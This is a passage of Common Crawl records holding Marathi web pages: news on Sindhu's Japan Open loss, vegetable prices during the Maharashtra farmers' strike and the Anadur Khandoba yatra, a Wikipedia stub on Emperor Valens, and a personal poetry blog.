इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00223.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://lokmat.news18.com/sport/okuhara-defeats-sindhu-in-straight-games-270390.html", "date_download": "2018-09-25T16:53:02Z", "digest": "sha1:ZLQAECKFQ3GTYTJRONKPVGJSALF2AHHA", "length": 12269, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "जपानच्या ओकुहारानं सरळ सेटमध्ये सिंधूचा केला पराभव", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nजपानच्या ओकुहारानं सरळ सेटमध्ये सिंधूचा केला पराभव\nजपानच्या नोझोमी ओकुहारानं सिंधूचा सरळ दोन सेटमध्ये पराभव केला. २१-१८,२१-८ असा दोन सेटमध्ये ओकुहारानं विजय मिळवला.\n21 सप्टेंबर : जपान ओपन सुपुर सीरिजमधलं पी.व्ही सिंधूचं आव्हान संपुष्टात आलंय. जपानच्या नोझोमी ओकुहारानं सिंधूचा सरळ दोन सेटमध्ये पराभव केला. २१-१८,२१-८ असा दोन सेटमध्ये ओकुहारानं विजय मिळवला. कोरिया ओपनच्या फायनलमध्ये सिंधूनं ओकुहाराचा पराभव केला होता. त्या पराभवाची परतफेड ओकुहारानं केली.\nया सामन्यावर पूर्णपणे ओकुहाराचं वर्चस्व राहिलं. अवघ्या ४७ मिनिटात हा सामना संपला. पहिल्या सेटमध्ये सिंधूनं थोडाफार संघर्ष केला. पण दुसऱ्या सेटवर पूर्णपणे ओकुहाराचं वर्चस्व होतं.\n२१-८ इतका सहज विजय मिळवला. या पराभवाबरोबरच दुसऱ्या फेरीतच सिंधूचं आव्हान संपुष्टात आलंय.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\n'हीट-मॅन' रोहितने रचले 'हे' नवे रेकाॅर्ड\nLive Cricket Score, India Vs Pakistan Asia Cup 2018: रोहित-धवनच्या वादळापुढे पाकचा धुव्वा, भारताची फायलनमध्ये धडक\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00223.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "https://lokmat.news18.com/maharastra/maha-farmers-strike-sees-hike-in-veggie-prices-262305.html", "date_download": "2018-09-25T16:50:35Z", "digest": "sha1:S6TTFL3T3FQRI4NKGHTHFVQJSG5XXMGH", "length": 14506, "nlines": 161, "source_domain": "lokmat.news18.com", "title": "भाज्यांची आवक घटली, दर कडाडले", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nभाज्यांची आवक घटली, दर कडाडले\n06 जून : शेतकऱ्यांच्या संपाचा आज सहावा दिवस असून बाजार समितीत आवक घटल्याने भाज्यांचे दर कडाडले आहे. 1 जूनपासून शेतकऱ्यांनी कर्जमाफी आणि हमीभावासह अन्य काही मागण्यांसाठी संप पुकारला आहे.\nशेतकरी संपाच्या पार्श्वभूमीवर सोमवारी महाराष्ट्र बंदची हाक देण्यात आली होती. या बंदला संमिश्र प्रतिसाद मिळाला.\nदरम्यान बाजारात भाजीपाला आणि फळांची आवक कमी झाल्याने भाज्यांचे दर कडाडले आहेत. याची झळ सहाजिकच सर्वसामन्यांना जणवत असल्याचे पहायला मिळत आहे. त्यामुळे मुख्यमंत्र्यांनी लवकरात लवकर या तोडगा काडण्याची मागणी होत आहे.\nमुंबईच्या भायखळा मार्केटमध्ये भाजी बाजारात भाजीपाल्यांचे दर सुमारे 40 गाड्यांची आवक झाली आहे. पण माल नेहमीपेक्षा 30 ते 40 टक्के कमी आला आहे. सिन्नर, मंचर, जुन्नर, नाशिक किंवा नगर भागातील शेतीमाल आलेला नाही, तरी बाजारभाव सरासरी व्यवस्थित आहे. पाऊस पडल्यामुळे देखील शेतमालाची प्रत कमी झाली आहे.\nमुंबईतले आजचे भाजी दर- (प्रति किलो- घाऊक)\nभेंडी 36 ते 40 रु\nफ्लॉवर 40 ते 50 रु\nवाटाणा 70 ते 100 रु.\nढोबळी मिरची 50 ते 80 रु\nकाकडी- 30 ते 40 रु\nकोबी -30 ते 40 रु\nकोथिंबीर (बारीक) 50 ते 100 रु\nतोंडली 40 ते 60 रु\nकांदा 14 ते 20 रु.\nबटाटा 14 ते 20 रु\nशेवगा शेंग 40 ते 60 रु जुडी\nवांगी 40 ते 80 रु.\nदुधी 50 ते 80रु\nचवळी 50 ते 60 रु\nबीन्स 80 ते 100 रु\nमेथी 40 रु जुडी\nहिरवी मिरची 60 ते 80रु\nपुणे मार्केटयार्डात आज 657 भाजीपाला आणि फळगाड्यांची आवक झाली आहे. यातील भाजीपाल्याच्या 352 गाड्या आल्या आहेत. म्हणजेच एकूण 60 % आवक झालेत. भाज्यांचे दर मात्र आजही चढेच आहेत. याचा फटका सामान्य ग्राहकाला बसतोय. शहरात भाजीपाला तुटवडा आहे.\nपुण्यातले भाजी दर (किरकोळ) - (प्रति किलो)\nढोबळी मिरची 80 रु.\nचवळी शेंगा -70 रु.\nपालक- 20 रु. जुडी\nमेथी - 30 रु. जुडी\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00224.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://lokmat.news18.com/maharastra/tuljapur-anadur-khandoba-yatra-274332.html", "date_download": "2018-09-25T17:18:06Z", "digest": "sha1:R6BZ4CXJF554ITI7RYVFIB2II67KZGUH", "length": 14496, "nlines": 137, "source_domain": "lokmat.news18.com", "title": "अणदूरच्या खंडोबा यात्रेचं 19 नोव्हेंबरला आयोजन", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nअणदूरच्या खंडोबा यात्रेचं 19 नोव्हेंबरला आयोजन\nतुळजापूर तालुक्यातील अणदूरच्या ग्रामदैवत खंडोबाच्या यात्रेचं 19 नोव्हेंबर रोजी आयोजन करण्यात आलंय. या यात्रेदरम्यान धार्मिक कार्यक्रमासह कुस्त्यांचा आखाडा रंगणार आहे.\n15 नोव्हेंबर : तुळजापूर तालुक्यातील अणदूरच्या ग्रामदैवत खंडोबाच्या यात्रेचं 19 नोव्हेंबर रोजी आयोजन करण्यात आलंय. या यात्रेदरम्यान धार्मिक कार्यक्रमासह कुस्त्यांचा आखाडा रंगणार आहे.\nतुळजापूर तालुक्यातील अणदूर आणि मैलारपूर (नळदुर्ग) ही दोन वेगवेगळी गावे असून, या गावात चार किलोमीटरचे अंतर आहे.या दोन्ही गावात खंडोबाचे वेगवेगळी मंदिरे असली तरी देव मात्र एकच आहे.\nखंडोबाचे वास्तव्य अणदूरमध्ये सव्वा दहा महिने तर नळदुर्गमध्ये पावणेदोन महिने असते. खंडोबाची मूर्ती एका गावाहून दुसऱ्या गावाला नेत असताना दोन्ही गावाच्या मानकऱ्यात लेखी करार केला जातो.\nअणदूरची यात्रा 19 नोव्हेंबर रोजी पार पडल्यानंतर खंडोबाचे पावणेदोन महिन्याच्या वास्तव्याकरिता नळदुर्गकडे प्रस्थान होणार आहे.\nखंडोबाची दुसरी पत्नी बाणाई बरोबरचा विवाह नळदुर्गमध्ये पार पडला होता, त्यामुळे या क्षेत्राला अनन्यसाधारण महत्व आहे. नळदुर्गमध्ये दर रविवारी यात्रा भरते तर मोठी यात्रा पौष पौर्णिमेला असते, या यात्रेस किमान सात लाख भाविक उपस्थित असतात. यंदा पाऊस भरपूर झाल्याने बोरी धरण तुडुंब भरले आहे, त्यामुळे भाविकांची सोय झाली आहे.\nअणदूरच्या यात्रेनिमित्त विविध कार्यक्रम\nरात्री 12 वाजता छबिना\nमध्यरात्री 3 वाजता खंडोबाचे नळदुर्गकडे प्रस्थान\n20 नोव्हेंबर रोजी यात्रा कमिटीच्या वतीने जवाहर विद्यालयाच्या मैदानावर जंगी कुस्त्यांचा आखाडा रंगणार आहे.\nयात्रेनिमित्त अणदूरच्या खंडोबा मंदिरावर आकर्षक विद्युत रोषणाई करण्यात आली आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00224.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://mr.wikipedia.org/wiki/%E0%A4%B5%E0%A5%8D%E0%A4%B9%E0%A5%85%E0%A4%B2%E0%A5%87%E0%A4%A8%E0%A5%8D%E0%A4%B8", "date_download": "2018-09-25T16:45:39Z", "digest": "sha1:P3F6LBBUTCAPKV633YR5H2GNKXQW2FHX", "length": 6115, "nlines": 137, "source_domain": "mr.wikipedia.org", "title": "व्हॅलेन्स - विकिपीडिया", "raw_content": "\nव्हालांस याच्याशी गल्लत करू नका.\nमृत्यू ९ ऑगस्ट, इ.स. ३७८\nव्हॅलेन्स (लॅटिन:फ्लाव्हियस जुलियस व्हॅलेन्स ऑगस्टस: इ.स. ३२८ - ९ ऑगस्ट, इ.स. ३७८) हा इ.स. ३६४ ते मृत्यूपर्यंत रोमन सम्राट होता.\nअँटोनियस पायस · ऑगस्टस · ऑरेलियन · कालिगुला · कॉन्स्टन्टाईन पहिला, रोमन सम्राट · कॉन्स्टान्शियस क्लोरस, रोमन सम्राट · कॉन्स्टान्शियस दुसरा, रोमन सम्राट · कॉन्स्टान्स · कोमॉडस · क्लॉडियस · गॅल्बा · जुलियस सीझर · जोव्हियन · ज्युलियन, रोमन सम्राट · टायटस · ट्राजान · डोमिशियन · टायबीअरिअस · थियोडोसियस पहिला · नर्व्हा · नीरो · नेपोटियानस · पर्टिनॅक्स · पेट्रोनियस मॅक्झिमस · फ्लाव्हियस ऑनरियस · फ्लाव्हियस व्हॅलेरियस सेव्हेरस · माजोरियन · मार्कस ऑरेलियस · मार्कस साल्व्हियस ओथो · मार्कस सेव्हेरस डिडियस ज्युलियानस · मॅक्झेंटियस · मॅक्रिनस · मॅक्सिमिनस · रोमन सम्राट · लिसिनियस · लुसियस व्हेरस · व्हिटेलियस · व्हॅलेंटिनियन पहिला · व्हॅलेंटिनियन तिसरा · व्हॅलेन्स · व्हेस्पासियन · सेप्टिमियस सेव्हेरस · हेड्रियान\nइ.स. ३२८ मधील जन्म\nइ.स. ३७८ मधील मृत्यू\nयेथे काय जोडले आहे\nया पानातील शेवटचा बदल १६ ऑगस्ट २०१७ रोजी ०३:४१ वाजता केला गेला.\nयेथील मजकूर हा क्रियेटीव्ह कॉमन्स अट्रीब्युशन/शेअर-अलाईक लायसन्स या अंतर्गत उपलब्ध आहेत;अतिरिक्त अटी लागू असू शकतात. अधिक माहितीसाठी हे बघा वापरण्याच्या अटी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00224.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "http://anamika-fromtheheart.blogspot.com/", "date_download": "2018-09-25T16:34:14Z", "digest": "sha1:D7OUAI5TSSXLIHXH5G7VGMUOSVITMEJ6", "length": 14532, "nlines": 258, "source_domain": "anamika-fromtheheart.blogspot.com", "title": "अनामिका", "raw_content": "\nग्रे रंगाने रंगविलेल्या प्रतिमा दिसायच्या\nहल्ली काळवंडलेल्या ढगांच्या पुंजक्या शिवाय काहिच दिसत नाही\nआशा दिदींची गाणी ऐकून खूप काळ झाला\nसौमित्र च्या कविताही वाचल्या नाहीत\nचित्र ही काढलं नाही आणि काही लिहिलं ही नाही एव्हढ्यात\nमुसळधार पावसात भिजावसं वाटत नाही\nबीचवर चालावंसं वाटत नाही\nबागेतली गुलाबाची रोपं पाण्याअभावी सुकून गेलीत\nपुस्तकांवर धुळीचा ढीग साचतोय\nमाझ्या कविताही कृत्रिम व्हायला लागल्यात आता. ..\nखूप दिवस झाले आता, गोष्ट नाही नवी. ..\nमाझ्यामध्ये, माझ्यासारखा, होता एक कवी. ..\nघरून निघालो, वाट पकडली, सोबत होतो तेव्हा. ..\nकोण जाणे, कुठे हरवला, आणि केव्हा. ..\nकिती वळणं होती मागे, कुठे वळला असेल. ..\nपण वळताना त्याने मला सांगितलं का नसेल. ..\nत्याची आणि माझी मतं हल्ली जुळत नव्हती. ..\nमला त्याची तत्वही मुळीच कळत नव्हती. ..\nकधीतरी त्याचं माझं वेगळंच होणं होतं. ..\nत्याच्या तत्वांसोबत माझं असह्य जगणं होतं. ..\nवादळासारखं लढणं त्याचं, मला जमलं नाही. ..\nविध्वंसाची त्याने कधीही पर्वा केली नाही. ..\nनक्की वळलाच असेल नं की दमला असेल तो. ..\nमध्येच कुठेतरी थांबला नसेल नं तो. ..\nआजकाल पडतात स्वप्ने भयंकर\nमी मिटून डोळे झोपणे टाळतो\nजरी हृदयात तू सदैव राहते\nतरी मी तुला भेटणे टाळतो\nएकेकाळी जरी होता जिवलग\nआता पावसात भिजणे टाळतो\nसोडले मीच होते एकटे म्हणून\nमाझ्यातल्या मला मी शोधणे टाळतो\nसुचतात सर्व अपूर्णच आता\nम्हणून मी कविता लिहिणे टाळतो\nखूप दिवसांनी नवीन कविता केलीस,\nकी धूळ खात पडलेल्या जुन्या कवितांची वही\nकवितेसोबत जुळलेली एक कहाणी असेल,\nकुठल्यातरी पावसाचं गळणारं पाणी असेल. ..\nकुठलीतरी कविता मिठीत घेईल,\nकुठली तरी कविता टोचून जाईल. ..\nकुठलीतरी कविता जपाविशी वाटेल,\nकुठलीतरी कविता खोडावीशी वाटेल. ..\nएका अनोळखीची भाषा. ..\nकुठलीतरी कविता आता वाटेल निरर्थक,\nकुठल्यातरी कवितेत असेल तुझं 'जग'. ..\nकवितेतला 'तू' हरवल्याचं जाणवेल,\n'तुझीच' कविता विसरल्याचं ही वाटेल. ..\nतू वहितलं शेवटचं कोरं पान उघड,\nआजचीही कविता ऍड कर,\nआणि फेकून दे अडगळीच्या खोलीत. ..\nहे निळे आकाश तू पंखांखाली घ्यावे\n'नीलपंख' तू भीमाची लेखणी व्हावे\nनावाला तुझ्या एक इतिहास आहे\nतुला भेटले परिवर्तनाचे नाव आहे\nयेतील संकटे तरी थांबू नको\nसंकटांना तोंड दे, मागे वळू नको\nआयुष्याच्या प्रवासाचा एक पल्ला गाठताना\nलक्ष्य तुला तुझे मिळावे ही बुद्धचरणी वंदना\nआज तुझ्या कवितेत मी वाचले मला\nकित्येक दिवसांनंतर मी भेटले मला\nमागल्या पानावर नेलेस तू. .. तुझ्या\nडोळ्यांच्या आरशात मी पाहिले मला\nहोता खरा तर तो पानझडीचा ऋतु\nतू वसंतासम गुंफला. .. भावले मला\nकरू नकोस माझी निर्दोष मुक्तता\nतू फुल नाव देणे टोचले मला\nआजकाल मी एकटा नसतोच कधी. ..\nसतत माझ्या मागावर असतो, कुणीतरी. ..\nकुणालाच न दिसणारा. ..\nत्याचं माझ्या मागावर असणं. ..\nमला स्पष्ट ऐकायला येतो. ..\nवही, पेन घेवून एकटाच लिहायला बसलो,\nकी माझी कविता वाचत,\nमाझ्या खोटेपणावर दात काढत,\nहसत असतो बाजूलाच. ..\nएक शब्दही बोलत नाही,\nमाझा पाठलाग करणं. ..\nमी मात्र बोलण्याचा प्रयत्न करतो,\nत्याला मोठ्याने ओरडून ओरडून सांगतो,\nकी माझा पाठलाग सोड,\nमला नकोय सोबत हरवलेल्या कुणाचीही. ..\nकधीच, काहीच ऐकायला येत नाही. ..\nपण आज ही कविता लिहीपर्यंत,\nतो हसला कसा नाही\nमी येथे येतो. ..\nचित्र डोळ्यांत भरून घेतो. ..\nवही, पेन, कविता, काहीच\nघेऊन मी येत नाही;\nपण काहीच न घेता\nसहसा इथून जात नाही. ..\nदूर शांत वाटणारा सागर,\nत्यात प्रतिबिंबाची व्याख्या असते. ..\nएक कविता असते. ..\nकिनाऱ्याच्या वाळूवरती लोळत पडतो,\nध्वनींतून निर्माण होत. ..\nकुठून तरी एक हवेची झुळूक येते,\nमाझ्या निर्वस्त्र शरीराभोवती वेटोळे घेते,\nसर्वांगाला स्पर्श करत. ..\nप्रवेश करते माझ्या शरीरात. ..\nमी त्या वाऱ्यात विरून जातो,\nमाझंच अस्तित्व विसरून जातो. ..\nमाझ्या हृदयाच्या ठोक्यांचा. ..\nसागरासारखंच शांत होतं माझं मनही,\nजेव्हा जेव्हा या किनाऱ्यावर येतो नं,\nमी माझा राहत नाही. ..\nअंधाऱ्या खोलीत बसून विचार करतो,\nकी बंद 